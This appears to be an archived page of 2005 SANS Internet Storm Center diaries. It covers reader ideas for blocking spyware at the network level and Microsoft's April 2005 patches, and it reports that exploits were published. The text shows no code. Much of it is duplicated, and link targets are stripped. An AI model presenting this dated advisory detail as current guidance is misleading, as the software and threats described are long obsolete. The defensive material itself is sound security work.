*** UPDATE UPDATE ***
A couple of more interesting ideas have come up:
6) Matt Jonkman points out that much spyware has its own user-agent type for HTTP, or modifies the existing user-agent type of IE. That's a great point. He directed us to the bleeding-snort work in creating a list of user-agent types associated with spyware specimens, suitable for filtering at proxies or creating IDS sigs for. Check out http://www.bleedingsnort.com/article.php?story=20050303190103553 . I've heard of the user-agent concept before, but wasn't aware of the good work that's going on with it at bleeding snort by Chris Taylor and Matt Jonkman. Good stuff, gents!
7) Another anonymous reader mentioned his plan to have all of his users run Firefox as their default browser, configured to use one gateway going out. Then, if a user has a specific business need for IE (such as updating Windows or running a specific app), he directs all installed IE browsers to another, separate gateway. On this gateway, he severely limits outbound traffic to a known whitelist of sites with a defined business need. In essence, he's bifurcating his network, into a rather open Firefox arena, along with a carefully guarded IE fortress.
*** BUT WAIT, THERE'S MORE ***
A few other nifty ideas have come in.
8) An anonymous reader tells us of the success he's had with his commercial IPS tool in blocking spyware. It's got, according to him, "Filters for herds of spyware.. and so far ZERO blocks of legit traffic." Nice use of IPS technology.
9) Speaking of IPS (and IDS) stuff, Matt Jonkman also alerts us to the Bleeding Snort's Bleeding Malware ruleset, over at http://www.bleedingsnort.com/bleeding-malware.rules . So, in the end, the Bleeding Snort guys have a three-pronged approach: The DNS Blackhole (mentioned in point number 4 above), the User-Agent blocking (in point number 6), and the Bleeding Malware ruleset (mentioned here in point number 9).
10) A related approach to the DNS issue is to create a hosts file on each system that sends requests for spyware to some place else. Both Ramu and an anonymous reader have suggested this, a solid approach if you can push hosts files updates to your end systems. The anonymous gent points out the hosts list at www.someonewhocares.org/hosts , which is conveniently named, "how to make the internet not suck (as much)". What a great name that would be for a book! You should look at the list, which gets rid of all kinds of nasty items by redirecting name lookups to 127.0.0.1, including various malware, spyware, and other evil stuff.
**NEW: Paul Daniels mentioned that some spyware attacks the hosts file, fixing 127.0.0.1 settings so the spyware can resolve back to its owners. That's why this approach is best used in conjunction with a DNS blackhole and other items in this list.
11) Not all issues are technical ones, of course. Thus, Richard mentions the usefulness of having a good policy restricting personal Internet usage. Policy is a great place to start, but only when backed up by enforcement (see items 1-10 above) and education.
12) Which brings us to the next point, from Charles Hamby. He's got a user training program to tell them about spyware and how to avoid it.
13) Charles also uses a custom startup script to look for the most common spyware files and folders, as well as P2P apps. He runs it domain-wide.
14) Another approach mentioned by Richard (the gent from item number 11, in case you are keeping score) is about disk imaging. That is, tell all users to keep their personal files on a server, and reset all of their operating systems every night. I've seen this done in a few very very large organizations, with great results. Sure, users moan about losing their custom wall-paper with their children and favorite sports teams on them, but they get used to it pretty quickly. You could even give them a single folder to store their stuff locally, if you are being generous. But, set a backup tool to blow away everything else at the end of the day.
**NEW: An alert reader has pointed out the importance of using an image that is clean, with cleared caches, temporary files, and such. That's a great point. I've seen some people (whom I won't name) who have used images with some unfortunate left over stuff in it. Build specific images to be restored from; don't use some existing system that you think is "clean enough".
15) Another anonymous dude who has some very standardized systems has written a perl script that merely counts the number of reg keys defined under
HKLM/software/microsoft/windows/currentversion/explorer/browser help objects
HKCU/software/microsoft/windows/currentversion/run
and HKLM/software/microsoft/windows/currentversion/run.
If the number of keys under there exceeds a threshold he's defined, he investigates.
**NEW: Turns out the Bleeding Snort guys have a perl script that does similar scanning of a Windows domain for Browser Helper Objects, available at http://www.bleedingsnort.com/filemgmt/singlefile.php?lid=7 . I tell ya, is there nothing these Bleeding Snort guys don't do. They're into everything, and we're all grateful for it. But, according to David Glosser, who tipped me off to that perl script project, they are looking for beta testers for this concept. Stand up and volunteer!
*** A FINAL BATCH OF IDEAS FOR NOW ***
Here are a final couple of ideas... some really really good ones.
16) Instead of monitoring user-agents looking for specific changes to known bad stuff (a la item number 6 above), Mike Pomraning had a great plan. He records a list of user-agents and client IP addresses (he does this using a custom passive user-agent header recorder, written with pynids, a python wrapper around libnids on top of libpcap). In fact, Mike is the author of pynids! Then, check this out... you are paying attention, right?!? He then logs all unique pairings of user-agent and IP addresses when they are first seen. He can then spot strange new user-agents quite easily, getting a list of systems with probable spyware (or other weird stuff like unusual media players, new anti-virus updaters, etc.) on a regular basis. You could implement a similar strategy with a web proxy like squid, to create a highly useful variation to item number 6 above. Mike points out that he wrote pynids for this very reason.
17) An anonymous reader mentions that he has set a GPO to hide IE from all of his users, forcing them to run Firefox instead. Consider the irony of that, my friends. Consider this an interesting variation to number 2 above.
18) Many people have mentioned their use of GPO to insert known evil sites into the Restricted Sites zone of IE. That's what this zone is all about, and such a solution is very reasonable.
19) And last, but not least, another anonymous reader uses Active Directory's software restriction policy to define specific MD5 hashes and paths for various forms of malware. You can read about this AD option for WinXP and 2003 at http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/rstrplcy.mspx .
Feel free to use these ideas from these awesome folks.
I want to thank everyone for their really solid input today on using infrastructure components to thwart spyware. I felt like I was in a brainstorming session with 20,000 of my closest friends. Your ideas and enthusiasm are certainly appreciated. The more we can spread this info among the good guys, the better off we'll all be. Thanks again to everyone who submitted input. I tried to respond to all of you, but missed a couple. I'll finish up those responses later tonight and tomorrow morning.
That's all for now...
--Ed Skoudis
Sr. Security Consultant and Co-Founder
Intelguardians
ed (at) intelguardians.com
An alert reader mentioned the importance of carefully constructing filters for evil sites. From a previous diary, he saw some evil IP addresses that he wanted to block access to for his users. He noticed that all of the evil IP addrs were in the same /16 range, so he just applied a filter for the entire range. Ooops! Turns out that a legitimate large auction site, which will remain nameless for the purposes of this discussion, was also in that range. His users complained when they couldn't access their auctions to sell pez dispensers and such. Moral of the story, "Sometimes good folks reside in bad neighborhoods." In other words, be careful what you filter.
*** Anti-Spyware Solutions based on Infrastructure ***
Today, we solicited ideas for tweaking infrastructure components to thwart the menace of spyware. I'm not talking about the latest anti-spyware products... darned near every vendor has released a specific behavior- or signature-based anti-spyware solution. Instead, we're interested in hearing other non-product-specific solutions. For example, we asked if you have tricked out your web proxy to detect or even stop spyware? How? Have you diddled with your Windows file system perms to stop spyware while still having a usable machine? Have you stumbled upon the ideal Active Directory settings to stop the spyware slaughter? Please don't send solutions like, "I just use this anti-spyware product, and boy am I thrilled." Also, don't send us an answer like, "I use Mac OS X... What's all this spyware fuss about?" or the Mike-Poor-like solution, "First, insert a FreeBSD CD into your drive..." We're interested in infrastructure-related solutions for Windows machines, where the spyware threat is the biggest.
I've summarized and lightly consolidated the responses we got below. We're pretty fully loaded on the issue, so no further input on it for now, please.
*** UPDATE ***
Man, I love Storm Center readers. Within the first hour, we got some really good ideas for spyware prevention and detection, infrastructure-style. Here's a summary of the best stuff so far:
1) James uses a squid proxy for all of his outbound surfers. Then, he runs an anti-virus tool with spyware sigs on the squid cache to catch a whole bunch of nasties on their way in, including a bunch of downloader trojans and redirection exploits. Now, he enforces the proxy settings in the browser using AD for all of his IE users.
2) Mike Larson goes further, trying to move all users to Firefox. He changed the default home page for IE to a warning of the dangers of using it, along with an icon to download Firefox. For those corporate apps that really require IE, he created a custom shortcut that opens IE. Also, to help make sure things stay this way, he config'ed IE to NOT check that it is the default browser.
3) Mike Larson goes still further by setting up his folks as "restricted users". To help make that happen, another reader (who wanted to be anonymous) offers some good ideas:
a) Make sure all users have all of the network printers in their vacinity already installed. Otherwise, they'll complain that they need local admin so they can print to some new-fangled printer in their cubicle.
b) Make sure Flash, ShockWave, and other common or popular required plug-ins are already installed.
c) Make sure the Help Desk has some type of remote desktop capability. This will surely help with the printer issue (a) above, which I've seen burn a bunch of orgs.
d) Don't take the easy way out for older apps by just giving people Power Users or local Admin privs. Instead, run cacls.exe and see what is really required. It's better to do this work proactively rather than reactively responding to a bunch of spyware.
4) Aaron Hanson cites the usefulness of a DNS blackhole for common spyware domain names. You can resolve requests for some of the worst offenders to a website of your own hosting a little 1x1 gif file, or some indication to your users about how much you love them (I added that twist, not Aaron). For more info on this stellar idea, check out http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=98 , where Aaron and a bunch of other folks dialogue about how to make this manageable.
**NEW: David Glosser sent a nice follow-up stressing how carefully the "Black Hole DNS Spyware Project" is to only include domains actually associated with spwyare and malware. They don't want to include ad servers in the list, since sometimes they aren't appropriate to block. What's more, updates to this blackhole list are at http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=774 . Thanks a lot, guys!
5) Steve McDougald mentioned his use of the open source tools like nmap, grep, and perl to locate systems on the network. Then, he uses pslist to see if any known spyware processes are running on the boxes. If so, he uses pskill to terminate them. He's even got a MySQL database to keep a list of discovered machines, and actions his scripts have taken on them.
*** UPDATE UPDATE ***
A couple of more interesting ideas have come up:
6) Matt Jonkman points out that much spyware has its own user-agent type for HTTP, or modifies the existing user-agent type of IE. That's a great point. He directed us to the bleeding-snort work in creating a list of user-agent types associated with spyware specimens, suitable for filtering at proxies or creating IDS sigs for. Check out http://www.bleedingsnort.com/article.php?story=20050303190103553 . I've heard of the user-agent concept before, but wasn't aware of the good work that's going on with it at bleeding snort by Chris Taylor and Matt Jonkman. Good stuff, gents!
7) Another anonymous reader mentioned his plan to have all of his users run Firefox as their default browser, configured to use one gateway going out. Then, if a user has a specific business need for IE (such as updating Windows or running a specific app), he directs all installed IE browsers to another, separate gateway. On this gateway, he severely limits outbound traffic to a known whitelist of sites with a defined business need. In essence, he's bifurcating his network, into a rather open Firefox arena, along with a carefully guarded IE fortress.
*** BUT WAIT, THERE'S MORE ***
A few other nifty ideas have come in.
8) An anonymous reader tells us of the success he's had with his commercial IPS tool in blocking spyware. It's got, according to him, "Filters for herds of spyware.. and so far ZERO blocks of legit traffic." Nice use of IPS technology.
9) Speaking of IPS (and IDS) stuff, Matt Jonkman also alerts us to the Bleeding Snort's Bleeding Malware ruleset, over at http://www.bleedingsnort.com/bleeding-malware.rules . So, in the end, the Bleeding Snort guys have a three-pronged approach: The DNS Blackhole (mentioned in point number 4 above), the User-Agent blocking (in point number 6), and the Bleeding Malware ruleset (mentioned here in point number 9).
10) A related approach to the DNS issue is to create a hosts file on each system that sends requests for spyware to some place else. Both Ramu and an anonymous reader have suggested this, a solid approach if you can push hosts files updates to your end systems. The anonymous gent points out the hosts list at www.someonewhocares.org/hosts , which is conveniently named, "how to make the internet not suck (as much)". What a great name that would be for a book! You should look at the list, which gets rid of all kinds of nasty items by redirecting name lookups to 127.0.0.1, including various malware, spyware, and other evil stuff.
**NEW: Paul Daniels mentioned that some spyware attacks the hosts file, fixing 127.0.0.1 settings so the spyware can resolve back to its owners. That's why this approach is best used in conjunction with a DNS blackhole and other items in this list.
11) Not all issues are technical ones, of course. Thus, Richard mentions the usefulness of having a good policy restricting personal Internet usage. Policy is a great place to start, but only when backed up by enforcement (see items 1-10 above) and education.
12) Which brings us to the next point, from Charles Hamby. He's got a user training program to tell them about spyware and how to avoid it.
13) Charles also uses a custom startup script to look for the most common spyware files and folders, as well as P2P apps. He runs it domain-wide.
14) Another approach mentioned by Richard (the gent from item number 11, in case you are keeping score) is about disk imaging. That is, tell all users to keep their personal files on a server, and reset all of their operating systems every night. I've seen this done in a few very very large organizations, with great results. Sure, users moan about losing their custom wall-paper with their children and favorite sports teams on them, but they get used to it pretty quickly. You could even give them a single folder to store their stuff locally, if you are being generous. But, set a backup tool to blow away everything else at the end of the day.
**NEW: An alert reader has pointed out the importance of using an image that is clean, with cleared caches, temporary files, and such. That's a great point. I've seen some people (whom I won't name) who have used images with some unfortunate left over stuff in it. Build specific images to be restored from; don't use some existing system that you think is "clean enough".
15) Another anonymous dude who has some very standardized systems has written a perl script that merely counts the number of reg keys defined under
HKLM/software/microsoft/windows/currentversion/explorer/browser help objects
HKCU/software/microsoft/windows/currentversion/run
and HKLM/software/microsoft/windows/currentversion/run.
If the number of keys under there exceeds a threshold he's defined, he investigates.
**NEW: Turns out the Bleeding Snort guys have a perl script that does similar scanning of a Windows domain for Browser Helper Objects, available at http://www.bleedingsnort.com/filemgmt/singlefile.php?lid=7 . I tell ya, is there nothing these Bleeding Snort guys don't do. They're into everything, and we're all grateful for it. But, according to David Glosser, who tipped me off to that perl script project, they are looking for beta testers for this concept. Stand up and volunteer!
*** A FINAL BATCH OF IDEAS FOR NOW ***
Here are a final couple of ideas... some really really good ones.
16) Instead of monitoring user-agents looking for specific changes to known bad stuff (a la item number 6 above), Mike Pomraning had a great plan. He records a list of user-agents and client IP addresses (he does this using a custom passive user-agent header recorder, written with pynids, a python wrapper around libnids on top of libpcap). In fact, Mike is the author of pynids! Then, check this out... you are paying attention, right?!? He then logs all unique pairings of user-agent and IP addresses when they are first seen. He can then spot strange new user-agents quite easily, getting a list of systems with probable spyware (or other weird stuff like unusual media players, new anti-virus updaters, etc.) on a regular basis. You could implement a similar strategy with a web proxy like squid, to create a highly useful variation to item number 6 above. Mike points out that he wrote pynids for this very reason.
17) An anonymous reader mentions that he has set a GPO to hide IE from all of his users, forcing them to run Firefox instead. Consider the irony of that, my friends. Consider this an interesting variation to number 2 above.
18) Many people have mentioned their use of GPO to insert known evil sites into the Restricted Sites zone of IE. That's what this zone is all about, and such a solution is very reasonable.
19) And last, but not least, another anonymous reader uses Active Directory's software restriction policy to define specific MD5 hashes and paths for various forms of malware. You can read about this AD option for WinXP and 2003 at http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/rstrplcy.mspx .
Feel free to use these ideas from these awesome folks.
I want to thank everyone for their really solid input today on using infrastructure components to thwart spyware. I felt like I was in a brainstorming session with 20,000 of my closest friends. Your ideas and enthusiasm are certainly appreciated. The more we can spread this info among the good guys, the better off we'll all be. Thanks again to everyone who submitted input. I tried to respond to all of you, but missed a couple. I'll finish up those responses later tonight and tomorrow morning.
That's all for now...
--Ed Skoudis
Sr. Security Consultant and Co-Founder
Intelguardians
ed (at) intelguardians.com
0 Comments
Published: 2005-04-17
Firefox 1.0.3 was released Friday (well, that's when I installed it.) On Saturday, two proof-of-concept examples were released. The little green update button in Firefox is your friend.
Everybody feels a little pain on Microsoft Tuesday: the Security Intelligence folks rushing to release targeted advisories, the System Administrators struggling with the if/when to patch problem, the Security Researchers rushing to publish Proof-of-concept code, the Snort-heads rushing to develop signatures, and plenty of others that I'm missing. But let's not forget the poor dial-up users attempting to keep up with the security arms-race. I called to check in on my "grandma" this week and she complained that all of a sudden should couldn't surf the web or download her email. "Everything is timing out, or server's aren't available," was the reported symptom. "Am I infected again?" she worried aloud. It turned out to be her machine pulling down the patches. I told her to leave it logged in while she's watching her television programs and it would all work out. Take two patches and call me in the morning.
Numerous intelligence services are reporting (and in some cases publishing) proof of concept code for MS05-019. MS05-019 is the TCP/IP stack issue with ICMP. On other platforms, it can result in a Denial of Service. On Microsoft, it is reported to also allow execution of code. Fortunately, the Proof of concept is only a Denial of Service.
---------------------------------------------------------------------------
Kevin Liston
kliston at isc dot sans dot org
Firefox patches; MS DoSed my Grandma; MS05-019 Exploit published
Recent Firefox patches
Firefox 1.0.3 was released Friday (well, that's when I installed it.) On Saturday, two proof-of-concept examples were released. The little green update button in Firefox is your friend.
Microsoft DoSed my Grandma!
Everybody feels a little pain on Microsoft Tuesday: the Security Intelligence folks rushing to release targeted advisories, the System Administrators struggling with the if/when to patch problem, the Security Researchers rushing to publish Proof-of-concept code, the Snort-heads rushing to develop signatures, and plenty of others that I'm missing. But let's not forget the poor dial-up users attempting to keep up with the security arms-race. I called to check in on my "grandma" this week and she complained that all of a sudden should couldn't surf the web or download her email. "Everything is timing out, or server's aren't available," was the reported symptom. "Am I infected again?" she worried aloud. It turned out to be her machine pulling down the patches. I told her to leave it logged in while she's watching her television programs and it would all work out. Take two patches and call me in the morning.
MS05-019 Proof of concept released
Numerous intelligence services are reporting (and in some cases publishing) proof of concept code for MS05-019. MS05-019 is the TCP/IP stack issue with ICMP. On other platforms, it can result in a Denial of Service. On Microsoft, it is reported to also allow execution of code. Fortunately, the Proof of concept is only a Denial of Service.
---------------------------------------------------------------------------
Kevin Liston
kliston at isc dot sans dot org
0 Comments
Published: 2005-04-16
Apple's latest release to OS X; phpBB posts new release
New releases from a couple of vendors, otherwise a relatively quiet day.
With the recent release of Mac OS X v10.3.9, and Mac OS X v10.3.9 Server, Apple has addressed several security vulnerabilities. The vulnerabilities, CVE ID#'s CAN-2005-0969 thru CAN-2005-0976, address both kernel and browser vulnerabilities.
Details of the recent release, along with specific vulnerability detals, can be found at
http://docs.info.apple.com/article.html?artnum=61798
The updates can be found at
http://www.apple.com/support/downloads/
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=281963
The "We know we are (not) furry" release includes both bugfixes and non-critical security issues. The changelog, shown below, is from the phpbb website.
-----
-Hardened author and keyword search a bit to not allow very server intensive searches
-Fixed full path disclosure in bad word parsing
-Resetting complete userdata array in session code if authentication fails
-Fixed bug in moderator control panel where certain parameters could lead to an "error creating new session" sql error
-Fixed bug in session code where empty page ids could lead to an "error creating new session" sql error
-Fixed html handling in signatures if html is turned off globally
-Fixed install.php problem with PHP5 register_long_arrays option turned off
-Fixed potential issues with styling system
-Added correct class to login_body template file
-Removed file db/oracle.php from package
-Removed version number from message body page in /admin (if user is not an admin) - mikelbeck
-Fixed case-sensitivity issues in postgres7.php - R45
-----
Tony Carothers
ISS, Inc.
Handler on Duty
tony dot carothers at gmail dot com
Apple's latest release delivers security fixes
With the recent release of Mac OS X v10.3.9, and Mac OS X v10.3.9 Server, Apple has addressed several security vulnerabilities. The vulnerabilities, CVE ID#'s CAN-2005-0969 thru CAN-2005-0976, address both kernel and browser vulnerabilities.
Details of the recent release, along with specific vulnerability detals, can be found at
http://docs.info.apple.com/article.html?artnum=61798
The updates can be found at
http://www.apple.com/support/downloads/
phpBB Group posts release 2.0.14
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=281963
The "We know we are (not) furry" release includes both bugfixes and non-critical security issues. The changelog, shown below, is from the phpbb website.
-----
-Hardened author and keyword search a bit to not allow very server intensive searches
-Fixed full path disclosure in bad word parsing
-Resetting complete userdata array in session code if authentication fails
-Fixed bug in moderator control panel where certain parameters could lead to an "error creating new session" sql error
-Fixed bug in session code where empty page ids could lead to an "error creating new session" sql error
-Fixed html handling in signatures if html is turned off globally
-Fixed install.php problem with PHP5 register_long_arrays option turned off
-Fixed potential issues with styling system
-Added correct class to login_body template file
-Removed file db/oracle.php from package
-Removed version number from message body page in /admin (if user is not an admin) - mikelbeck
-Fixed case-sensitivity issues in postgres7.php - R45
-----
Tony Carothers
ISS, Inc.
Handler on Duty
tony dot carothers at gmail dot com
0 Comments
Published: 2005-04-15
Tax Day and recovering from San Diego; Oracle patches; IRC spam worm
For those of our readers in the US, I trust you got your taxes in on time. :) I personally wanted to say I enjoyed meeting so many of our loyal readers at the BOF in San Diego. I always seem to need a vacation to recover from the conferences, so I'm working on the recovery now. Also, as you may remember <A HREF="http://isc.sans.org/diary.php?date=2005-03-19">last month</A> we told you that the daughter of one of your handlers had emergency surgery. I'm happy to report that she returned to school this week and is doing very well. Unfortunately, her father had his own little medical adventure that included a blood-borne infection. Fortunately, he, too, is on the mend now (after massive doses of antibiotics).
Perhaps lost in the Cisco/Juniper and Microsoft patch announcements on Tuesday, Oracle also did their quarterly patch release. Some of the bugs look like they could be quite serious. See http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf
We got reports today from several readers about some fast-spreading malware that was spreading via IRC and sending out spam e-mail. It looks like the A/V vendors have finally caught up since they all seem to be catching it now, but as usual this only does some good when the signatures are current. :/ They are identifying it variously as FunLove or Parite.
------------------------
Jim Clausing, jclausing_At_isc_dot_sans_dot_org
Oracle patches
Perhaps lost in the Cisco/Juniper and Microsoft patch announcements on Tuesday, Oracle also did their quarterly patch release. Some of the bugs look like they could be quite serious. See http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf
IRC spam worm
We got reports today from several readers about some fast-spreading malware that was spreading via IRC and sending out spam e-mail. It looks like the A/V vendors have finally caught up since they all seem to be catching it now, but as usual this only does some good when the signatures are current. :/ They are identifying it variously as FunLove or Parite.
------------------------
Jim Clausing, jclausing_At_isc_dot_sans_dot_org
0 Comments
Published: 2005-04-13
With Every Patch Tuesday there is a Black Wednesday, Juniper Update, COAST (adware-spyware) is toast, Virus Spreading through MSN?, Comcast downtime
With Every Patch Tuesday there is a Black Wednesday
With all the patches for MS yesterday, several new proof-of-concepts and exploit codes were published (they're not just for Microsoft anymore).
<Br>
MS05-16 - Windows Shell Vulnerability
Details: and
MS05-17 - Message Queueing Vulnerability
Details:
Oracle Buffer Overflows
which is patchable.
which is not patchable as of right now.
Debugger Exploits
and for you Visual C++, OllyDbg, WinDbg users.
<Br>
is so you Linux-based malware analysts don't feel left out from the fun.
These exploits have been brought to you be the number 0 and the letters w and n.
Juniper Update
009
(login required)
<Br>
Juniper has updated their notification to state that they do not user PMTUD for BGP sessions. Therefore, if you can filter or disable SQuench you may not have an ICMP BGP vulnerability.
COAST (adware-spware) is toast
The Consortium Of Anti-Spyware Technology vendors (COAST) has ceased operations and their website will go away on Tax Day (April 15th). No explanation is given.
Virus Spreading through MSN?
Messages will refer you to a URL similar to http://www.reallybadpeople.fakeTLD/gallery/pictures.php?email=targethost@isp.com (not a real URL) that will then download some malware to your machine and then proceed to propogate its funness. This just came in and haven't had the chance to reverse engineer it to see more precisely what it does, but its standard fare. Download bad file, trick user into running bad file, "Dude, you're getting pwn3d!".
Comcast Downtime
We've had several reports today at various times that Comcast was having troubles. Turns out they were.
From there:
(Connection to the Internet is currently unavailable. Our technicians are aware of the situation and are working to resolve the issue. This outage was logged at : 4/13/2005 6:47:00 PM EDT.)
===========================
John Bambenek
bambenek - at - gmail.com
http://decision.csl.uiuc.edu/~bambenek
With all the patches for MS yesterday, several new proof-of-concepts and exploit codes were published (they're not just for Microsoft anymore).
<Br>
MS05-16 - Windows Shell Vulnerability
Details: and
MS05-17 - Message Queueing Vulnerability
Details:
Oracle Buffer Overflows
which is patchable.
which is not patchable as of right now.
Debugger Exploits
and for you Visual C++, OllyDbg, WinDbg users.
<Br>
is so you Linux-based malware analysts don't feel left out from the fun.
These exploits have been brought to you be the number 0 and the letters w and n.
Juniper Update
009
(login required)
<Br>
Juniper has updated their notification to state that they do not user PMTUD for BGP sessions. Therefore, if you can filter or disable SQuench you may not have an ICMP BGP vulnerability.
COAST (adware-spware) is toast
The Consortium Of Anti-Spyware Technology vendors (COAST) has ceased operations and their website will go away on Tax Day (April 15th). No explanation is given.
Virus Spreading through MSN?
Messages will refer you to a URL similar to http://www.reallybadpeople.fakeTLD/gallery/pictures.php?email=targethost@isp.com (not a real URL) that will then download some malware to your machine and then proceed to propogate its funness. This just came in and haven't had the chance to reverse engineer it to see more precisely what it does, but its standard fare. Download bad file, trick user into running bad file, "Dude, you're getting pwn3d!".
Comcast Downtime
We've had several reports today at various times that Comcast was having troubles. Turns out they were.
From there:
(Connection to the Internet is currently unavailable. Our technicians are aware of the situation and are working to resolve the issue. This outage was logged at : 4/13/2005 6:47:00 PM EDT.)
===========================
John Bambenek
bambenek - at - gmail.com
http://decision.csl.uiuc.edu/~bambenek
0 Comments
Published: 2005-04-12
As Microsoft pre-announced in the recent notice, the company released several security updates today, affecting Microsoft Windows, Office, Exchange, and MSN Messenger software. Microsoft classified five of these updates as "Critical" and three as "Important." Please note that a proof-of-concept exploit for at least one of these vulnerabilities (MS05-020) is already publicly available.
You can find general information about today's patches at the following URL:
http://www.microsoft.com/technet/security/bulletin/ms05-apr.mspx
Our team compiled the following technical summary of today's patch cluster. This was written by several people working in parallel, so please excuse the differences in style across the segments.
In addition to releasing new patches, Microsoft updated three of its previously-published security bulletins today, and a released a new version of its . These updates are described below as well.
We are using CVE numbers when referring to vulnerabilities in this document. Because the vulnerabilities are relatively recent, most of the CVE links lead to documents that don't currently provide any details. We've included these links for future cross-referencing purposes.
- Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service. This patch addresses several vulnerabilities in the implementation of the TCP/IP stack on Windows:
* IP Validation Vulnerability () - "Incomplete validation of IP Network Packets" is how Microsoft describes this vulnerability. The end result could be remote execution of code.
* ICMP Connection Reset Vulnerability () - A specially crafted ICMP packet could allow the attacker to reset existing TCP connections. This vulnerability does not allow for escalation of privileges.
* ICMP Path MTU Vulnerability () - A vulnerability exists in the Path Maximum Transmission Unit (PMTU) discovery process. The specially crafted packet could all an attacker to modify the MTU for all connections on a system. Setting the MTU to a very small number for have devastating effects creating a DoS for that system. No escalation of privileges or rights is gained by this exploit.
* TCP Connection Reset Vulnerability () - A specially crafted TCP packet could allow the attacker to reset existing TCP
connections. This vulnerability does not allow for escalation of privileges.
* Spoofed Connection Request Vulnerability () - This vulnerability describes the LAND attack where a specially crafted SYN Packet with the source IP and port being the same as the destination IP and port causes the system the think the packet came from itself and eat up the CPU time resulting in a DoS.
For more information about this vulnerability and the associated patch, see .
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.
Special Note: In addition to the vulnerabilities listed below and their fixes, this patch also makes changes to the following: The default TCPWindowSize registry value has been changed on some operating systems (see ). A new MaxIcmpHostRoutes registry value has also been introduced to control ICMP Path MTU related behavior (see ).
- Cumulative Security Update for Internet Explorer. This aggregate patch addresses several vulnerabilities in Internet Explorer that could lead to remote code execution:
* DHTML Object Memory Corruption Vulnerability ()
* URL Parsing Memory Corruption Vulnerability ()
* Content Advisor Memory Corruption Vulnerability ()
Special note: A proof-of-concept exploit for this vulnerability is already publicly available from FrSIRT. The availability of the exploit is likely to increase the severity of this patch for most organizations.
Vulnerable: Internet Explorer 5.01 Service Pack 3 on Windows 2000 Service Pack 3; Internet Explorer 5.01 Service Pack 4 on Windows 2000 Service Pack 4; Internet Explorer 5.5 Service Pack 2 on Windows ME; Internet Explorer 6 Service Pack 1 on Windows 2000 Service Pack 3 and 4; Internet Explorer 6 Service Pack 1 on Windows XP Service Pack 1; Internet Explorer 6 Service Pack 1 on Windows 98, 98SE, and ME; Internet Explorer 6 Service Pack 1 on Windows XP 64-Bit Edition Service Pack 1 (Itanium); Internet Explorer 6 on Windows Server 2003; and Internet Explorer 6 on Microsoft Windows Server 2003 for Itanium-based systems and Windows XP 64-Bit Edition Version 2003 (Itanium).
For more information about this vulnerability and the associated patch, see .
- Vulnerability in Exchange Server Could Allow Remote Code Execution. This patch addresses the following buffer overflow in the SMTP service:
* Exchange Server Vulnerability () - The
service fails to handle SMTP extended verb requests. On Exchange 2000, if an attacker connects to an SMTP port (unauthenticated users will work) and issues a specially crafted extended verb request, this would allow an attacker to run the code of their choice as the SMTP service runs as Local System. On Exchange 2003, it's a little more difficult and requires the attacker to connect to the Exchange server with the authority of another Exchange server of that organization and then they can issue the same specially crafted extended verb request. Exchange 2003 requires the user authenticating to authenticate as an account in Exchange Enterprise Servers or Exchange Domain Servers groups.
Vulnerable: Microsoft Exchange 2000 Server Service Pack 3; Microsoft Exchange Server 2003; and Microsoft Exchange Server 2003 Service Pack 1.
For more information about this vulnerability and the associated patch, see .
- Vulnerability in MSN Messenger Could Lead to Remote Code Execution. This patch addresses a buffer overflow condition in the parsing of GIF images by MSN Messenger, which may result in remote exploitation:
* MSN Messenger Vulnerability ()
Vulnerable: MSN Messenger 6.2 and 7.0 beta. MSN Messenger 4.7 and 5.0 are not listed, but may be presumed vulnerable. Not Vulnerable: MSN Messenger 7.0. Unknown: Windows Messenger. Mitigations: Don't accept IMs from people you don't know.
Special Note: This bulletin is listed as an update to the previously-published advisory, and appears to be related to the same sort of problems in libpng that were discussed in MS05-009; however, this is a problem with the parsing of GIF images instead of TIFF and PNG. Although this bulletin is listed as an update to MS05-009, it does not supercede MS05-009.
For more information about this vulnerability and the associated patch, see .
- Vulnerabilities in Microsoft Word May Lead to Remote Code Execution. This patch addresses several vulnerabilities that could result in remote code execution and privilege elevation:
* Buffer Overrun in Microsoft Word () - An attacker can cause a DoS condition and, potentially, could execute arbitrary code by crafting contents of a .doc file.
* Buffer Overrun in Microsoft Word ()<br
Vulnerable: Microsoft Word 2000 and 2002; Microsoft Office Word 2003; Microsoft Works Suite 2001, 2002, 2003, and 2004.
For more information about this vulnerability and the associated patch, see .
- Vulnerability in Windows Shell that Could Allow Remote Code Execution. This patch addresses a vulnerability that seems to be tied to the way Windows Shell processes .hta files:
* Windows Shell Vulnerability ().
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.
For more information about this vulnerability and the associated patch, see .
- Vulnerability in Message Queuing Could Allow Code Execution. This patch addresses the following vulnerability:
* Message Queuing Vulnerability (.
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1; Windows XP 64-Bit Edition Service Pack 1 (Itanium); and Windows 98 and 98SE.
For more information about this vulnerability and the associated patch, see .
- Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege and Denial of Service. This patch addresses several vulnerabilities:
* Font Vulnerability () - "A privilege elevation vulnerability exists in the way that Windows process certain fonts."
* Windows Kernel Vulnerability () - Could lead to privilege elevation.
* Object Management Vulnerability () - "A denial of service vulnerability exists that could allow an attacker to send a specially crafted request locally to" affected operating systems.
* CSRSS Vulnerability () - Could lead to privilege elevation.
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based Systems; and Windows 98, 98SE, and ME.
For more information about this vulnerability and the associated patch, see .
